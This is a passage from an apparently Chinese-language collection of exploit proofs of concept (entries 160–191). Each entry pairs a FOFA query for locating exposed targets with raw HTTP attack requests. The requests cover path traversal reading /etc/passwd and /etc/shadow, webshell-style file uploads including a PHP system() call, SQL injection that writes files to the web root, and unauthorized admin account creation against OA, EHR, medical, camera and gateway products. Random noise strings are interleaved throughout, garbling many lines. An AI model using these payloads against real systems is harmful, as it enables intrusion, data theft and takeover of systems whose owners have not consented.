5 R" `0 O3 Z% L1 h6 i4 D8 l5 e</soap:Envelope>
7 @' y8 E  L0 U% ~& K3 d  u( H

/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


160. Sonatype Nexus Repository 3目录遍历与文件读取
: M% ]7 K) i9 e/ k( lCVE-2024-4956
2 l" W" T' P# d9 h) DFOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
. e  i7 O2 k8 F5 e* r" g5 U' t! ?. SUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept: */*
5 S, ?& e: `# |, NAccept-Language: en
Accept-Encoding: gzip
2 t. i; n, q/ B% K# V. Y

161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
8 ?9 W/ q) F% a1 ^FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
; `2 u+ r* D+ H  l- E' b- XContent-Type: text/xml
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
</soap:Body>
( ]& t$ l# o% ^3 m9 t& L0 g0 J* p: `</soap:Envelope>

$ H' N6 F5 r1 Q$ i8 t
( ]3 ^2 B5 K! K6 F# q7 d, K+ [http://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
" j0 w$ X  h* JFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
, S6 N8 r, ?! ^6 j, c, LConnection: close
Content-Length: 583
- W5 M& O* Z" cContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
# k3 I! m% O7 I! Q
; b7 i) E! V  U3 J8 c------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
4 {4 |( o( W. P7 i3 \------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
7 O8 c; |2 F# j9 `
upload
------WebKitFormBoundaryeegvclmyurlotuey
6 h  {0 d, }$ zContent-Disposition: form-data; name="responderId"

ResourceNewResponder
6 ], U" L" [, v; i3 E------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
4 h6 O3 K: v, d8 [
/opt/resources
- J9 f/ \+ ^, t) X) L! R- X/ a------WebKitFormBoundaryeegvclmyurlotuey--


" @1 E$ }* f* Yhttp://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
) {! ^8 Z7 L) y$ F' }( VFOFA: icon_hash="-795291075"
6 A! Y" x" @& A8 F" h( BPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
# X# L! x0 g" q8 }9 `Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
2 f  ]) Q/ `0 ]$ w$ xContent-Length: 293
3 o5 K' k2 `; J7 |0 CAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
) A5 d0 Z9 ~8 a0 Y% d
------iiqvnofupvhdyrcoqyuujyetjvqgocod
' Q9 j" z. f: K( u8 KContent-Disposition: form-data; name="name"
8 m4 Q4 `4 v0 @: p( T
1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
* _! c' T9 Z3 pContent-Type: image/jpeg
& b  B, W, I+ N: @1 C* F
5 T! ?2 y3 W9 J% J7 q% H2 X; l* Hrvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
! T: u; F: k) Y7 l, L
' i1 ?9 E  l/ c+ E! e! ~3 _/ ~% ^
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
0 ]/ \+ j) {( a) d- KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
0 ~! `  q9 O7 u* `' X# }( n1 ?Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
5 b, X  i1 u7 N' S! UAccept-Encoding: gzip
' @7 h; k( j5 R
4 `8 k# u  E; D9 I1 c2 {8 j------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
9 G; c+ ^. t: _3 A) a
; i4 N  X8 v. e% @: N: W<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
  l" s- I! ^" f' }- G------dqdaieopnozbkapjacdbdthlvtlyl--
& s+ ^9 |$ K1 Z& \/ i  T" }

http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
) b! P& [3 }7 H8 f- `
165. OrangeHRM 3.3.3 SQL 注入
- J: C' T7 C. N" N7 k) ZCVE-2024-36428
8 b; X5 \7 x( y$ sFOFA: app="OrangeHRM-产品"
& D4 a8 h4 q' |/ I$ B7 `- {6 OURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))


8 W3 d( T. h5 ]% m6 l166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
1 L2 J5 Q" E5 ^POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
- K' ]+ B& l( _6 J( IHost:
- `2 {, y* w# K8 E6 Z6 [Pragma: no-cache
Cache-Control: no-cache
# Q* u' j4 J9 m; _Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 t) D! z/ ^6 L& fAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
& x' R# @3 w% m8 i/ \Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
# c( I; G" O# {- P. L! I9 LContent-Type: application/x-www-form-urlencoded
8 q" a2 w9 L7 V) p0 u8 tContent-Length: 89

, o3 H( A  J1 q7 s. U1 v* D* ?5 KMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


5 Q8 ~8 l6 x5 [167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
  t* h" u5 g4 D. M5 ^6 HGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
( p  t& F8 p9 s6 Q, b" A' xHost:
4 W7 i. b1 S3 L# l0 N# Z, fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
0 A4 x& h1 z! \3 i7 t1 {; ?, I0 [Accept-Encoding: gzip, deflate
$ p" A1 R, [9 \9 I) u+ _Accept: */*
Connection: keep-alive

. F; M& r8 Y8 `% e" o, Y- o
168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
$ A+ X) S! B! u! E$ L" l+ g% ]) r/ JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
: B: s( ~  f8 O' w+ JContent-Type: application/x-www-form-urlencoded
* M+ ]6 h* {: ?+ l2 U, l+ {. R7 VConnection: close
& Z) {) Z' x3 u

" V2 A/ z( S1 x, G! `
169. 宏景EHR downlawbase SQL注入
1 U; R' i+ ~% `9 L, [* B8 K/ }FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
+ u- o6 F2 Y  s& ~; @) FHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
1 v6 T7 s) x; L4 P2 n/ V
2 W- O- V' I; g

, z- w! k9 ^; e9 }- ~170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' t* @4 B, h3 G7 d2 i) lContent-Type: application/x-www-form-urlencoded
" L& y& g4 d7 q4 D2 \, `0 A) E+ R
8 N6 F, J$ ]  w- z. Q% |' _, r0 afilename=../webapps/ROOT/WEB-INF/web.xml

4 r* s) D9 r) `) D6 E4 c
/ ?2 S; b5 x- I- m. i171. 通天星CMSV6车载定位监控平台 SQL注入
: A  t3 w5 }: Y+ K* m  L# G" ZFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
, ^# k+ h( e* T+ h( HHost: your-ip
3 f5 \8 a* P; d- B- R! OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
3 t, R' W' ^7 q, j/ @Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 k. Z# `8 _# n/ E# yAccept-Encoding: gzip, deflate
Connection: close

" f  e* [, `9 ^+ O$ g! t9 i

172. DT-高清车牌识别摄像机任意文件读取
8 g! y/ r3 r- I# k: w7 a7 mFOFA：app="DT-高清车牌识别摄像机"
' d/ O2 J% e1 k- |GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
# h0 u) x7 e* ^) E/ B1 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
7 B6 A% z6 v4 h2 ]% YAccept: */*
$ m" c+ U! e* M8 oConnection: keep-alive
$ J4 L& Q0 c" c9 W, a
' o% f! X/ t" r' O" B

173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
( U4 F8 A- ?% h! N- sPOST /clients/MyCRL HTTP/1.1
: l- e3 u) k8 A+ v$ ]/ K# HHost: your-ip
Content-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow

% Y; n- b, @6 q
  s7 M7 j/ S" B: @
" ]$ d  o! |$ |  f+ \( o174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
1 D: Q) o9 D0 KGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
2 T" K0 B+ v8 b. e4 H# t- h! mHost: your-ip
) i8 z. L% V; A' ?. fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
. m7 ?: P6 G8 s- t" L: s; Q7 ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 w) P( W( h* @! t& z* ]' T2 GAccept-Encoding: gzip, deflate, br
+ ]8 y, k+ |2 C' G" p# o+ Y4 A/ [Accept-Language: zh-CN,zh;q=0.9
Connection: close

+ T7 Q  V+ T! G7 v/ K
. k: ]# l" ^0 p# t& N' W
' D7 u9 o/ F1 o5 y5 ?+ k; g3 ?. |4 v175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
" a$ h: i- F, A: y+ V0 bGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
" P8 L- h/ S/ {Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
4 [) Q" I+ X- w2 I! g( `Connection: close
Upgrade-Insecure-Requests: 1
& e; H+ F$ i, |
& j) o5 f6 m9 H: A# u; l. R7 N/ Z
176. 电信网关配置管理系统 rewrite.php 文件上传
5 a, @6 Y, ?4 k9 n7 hFOFA：body="img/login_bg3.png" && body="系统登录"
3 f! Y- X  m* F" a2 {' M  vPOST /manager/teletext/material/rewrite.php HTTP/1.1
: v3 F% M4 s! [3 RHost: your-ip
/ X- Q! H# o# ]0 b! }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
, i& @( D0 ~0 Y3 M+ V2 _1 B6 ?Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
! D, @5 C& Y  U! }( x0 u  H9 l+ }
" H4 W; F1 j6 J  f------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
, s8 E0 Q% O' d5 UContent-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
; n" G) t9 G5 Z------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
' q( j1 t* j' Z

------WebKitFormBoundaryOKldnDPT--
) r/ i( q, v7 z$ l# o4 z7 F3 P


177. H3C路由器敏感信息泄露
- M8 X. V* \; Y+ n& E8 Z( B/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
' A7 S* T: b* b( X/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
( R1 I( @( S6 {& H- B/ ?/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
! U+ T- i& |. i2 V; o5 b! w* h/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
# u1 X2 b, r# E) r( l7 x/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
; u/ B1 n! q! O5 T6 {5 u& U/userLogin.asp/../actionpolicy_status/../ER3200.cfg
6 V1 z  z8 f8 `0 v/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
- s7 N+ }% L; x: c8 ^  f/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
# _" H4 ]# T% G$ e, R/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg

8 c& x, j3 F0 B' z" j4 U
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
6 k$ [) x9 ^  A0 Q* DFOFA：header="/selfservice"
8 u7 V. Z; |) {- I) tPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
/ V! U! g- N6 g4 j) S! JHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
* A1 s1 Y6 ?+ o4 s/ f$ V! m4 D$ TContent-Length: 252
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
" E/ ?9 s. O0 |2 T-----------------aqutkea7vvanpqy3rh2l
' A$ _: E0 b; z7 \& [Content-Disposition: form-data; name="12234.txt"; filename="12234"
/ A' U8 S/ S/ o; C& RContent-Type: application/octet-stream
* N( E) F$ |! H- Q2 `) cContent-Length: 255

12234
-----------------aqutkea7vvanpqy3rh2l--
' N4 H/ v0 z  \, Q3 X  ^
; f% m7 w& }# a/ w! P
+ S" t1 U. @; H  i4 W0 L2 YGET /imc/primepush/%2e%2e/flex/12234.txt
3 o6 z9 J, g, `* j; _

" ^. k( h) J1 c& @4 W179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
, O5 U$ d' C; C9 N' ?( d1 lContent-Type: application/x-www-form-urlencoded
6 S% D4 L  _  Z& Q. t1 r( K5 DUser-Agent: Mozilla/5.0
  R' t$ B$ \) Y7 |- e# |& [& f" F
7 F: Z! A& K1 N, R/ d) M; Ppath=../log4net.config&Name=

$ ?% W9 g, N5 ?3 V
# z; \% v6 c. \6 d180. 帮管客 CRM jiliyu SQL注入
( V% h, W: [' H4 lFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
, [  e$ I* O" {Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
. I7 S( [3 K/ n. WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 u! n$ ~9 A6 W  _/ \, YAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
( J$ q) b7 i3 @" z8 C+ }  O& U! HConnection: close
( V& A$ e, B* _2 g$ h/ B

181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
9 E' A. C; q0 K' W; EPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
  H6 y! M( r' i/ n& ?Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
8 w, `" P7 R3 K" K3 AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
/ l& I* ~6 N- P% W8 HAccept-Language: zh-CN,zh;q=0.9
3 q, G, f$ {0 N- }" p( O! CConnection: close
Content-Type: application/x-www-form-urlencoded

! V, d6 k7 k" u/ u) V6 g
7 J3 r9 A' P/ laction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
: c% l& w$ `2 `' m" M+ R

: ]7 H3 [+ K5 l7 ]+ \* c! j3 a182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
! y+ r1 i; D3 L4 f' P  N  R* NPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
, T7 Y* O5 O( \/ C& V; P2 h3 ]; NHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
' A9 k0 C- L' U  S8 Y. c  vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

' z# `7 g& T' @4 R$ m2 o" a# `
username=test1234&pwd=test1234&savedays=1
. k1 l5 ^. B; g* I! D5 L4 x

6 d/ |! b9 u: Y, L183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
5 _0 Y& ?6 H1 |GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
' [% `$ L+ M# i7 _2 DHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
- k5 U+ v( S- X% G* u5 n7 XAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

$ o: d  i9 ~" S& i, R3 {
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
/ F; i$ n( q* G$ S$ L8 g* ~FOFA：server="SunFull-Webs"
, ~) W, D6 X7 u; l( t- jPOST /soap/AddUser HTTP/1.1
Host: your-ip
# r. I8 X: D# _- ]! rAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
( O( M( D% c, W: \, G% fContent-Type: text/xml; charset=utf-8
3 b) [3 [- }, ~2 YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
- b9 l6 C1 p0 c4 B4 ~" ^1 O
2 s) ^: r0 t6 y. {9 e3 n4 {. ?
1 y: x( ~/ |# N/ q: p& G* i3 Tinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
8 v4 a3 @& J' D2 x6 {

/ i6 g, C0 U& R185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
, T! h/ c% W+ BFOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
9 \. C: K7 c" s  j. `Host: host

+ r" Z8 n8 P1 f* m$ N- a: ^( O$ @
186. F-logic DataCube3 SQL注入
CVE-2024-31750
# X& ?- O; v3 M8 D& e( f3 |F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
3 H- L) v. b2 B5 |: EFOFA：title=="DataCube3"
* n9 ~1 d8 A4 y: a+ i  IPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
0 _, E1 i; G0 y: T6 qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
' t3 F* P% z& PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 {; i; r* e7 a% a% E0 mAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
9 h, i7 ^' \$ c! @! W2 L2 V6 j$ G
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

9 P) R' ]9 ~3 M: |
187. Mura CMS processAsyncObject SQL注入
4 i7 j. n; x1 @CVE-2024-32640
! K$ N2 d3 m, u' b5 g0 n9 m; RFOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
; ?  ]: F( F5 |5 H# iContent-Type: application/x-www-form-urlencoded

  G" ?1 W9 P: P7 p0 C6 b) D
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
/ n0 r1 C- R( \

2 i; I7 S3 t! j  H188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
: X; ?1 J9 R" {3 j6 NFOFA：body="/system/get_rtc_user_defined_info?site_id"
- x, ?. j- f- ~% |8 M" d( Y, NGET /attachment?file=/etc/passwd HTTP/1.1
0 C! t) u: O( d3 Q5 o0 mHost: your-ip
! ]* x* U7 d3 ]% |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
5 Q1 C: A3 v' G' ]5 ^  _Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
" Y3 `+ I; ~$ ]9 a8 ~Connection: close
4 O$ O4 ~3 L8 T) n0 G

/ p" s9 {- K7 J+ {. Q5 @& S189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
6 g3 h2 x5 `9 R% ?  N3 VGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
! j+ n% Q3 _) V1 B4 BHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
- n+ u4 z* s- n1 y, S/ a- IAccept-Language: zh-CN,zh;q=0.9
% ?* d4 z, @9 a) w8 k; i: DConnection: close

, _# \* ~6 w) C" `
* J$ B$ V! _( ^/ E/ }5 b190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
# p/ t; X: n, g7 f3 A: M6 wPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
# A  |0 w  L3 M+ e9 Y+ S5 T# \" P# oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+ V( Q2 s+ G3 e7 GContent-Type: application/x-www-form-urlencoded
  N+ @! g! C' K3 D* w. MAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

) Y+ U/ Z" k' y1 Xpoi=file:///etc/passwd
0 @7 _6 d- v. V. A4 |/ K
3 V& C' |2 U3 o
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
2 O: a# D& q+ n* CFOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
  d) m% |' h. Z2 Q8 }- K& I: m- lHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
$ a9 B' U5 P9 C! O6 s5 D7 KContent-Type: application/x-www-form-urlencoded
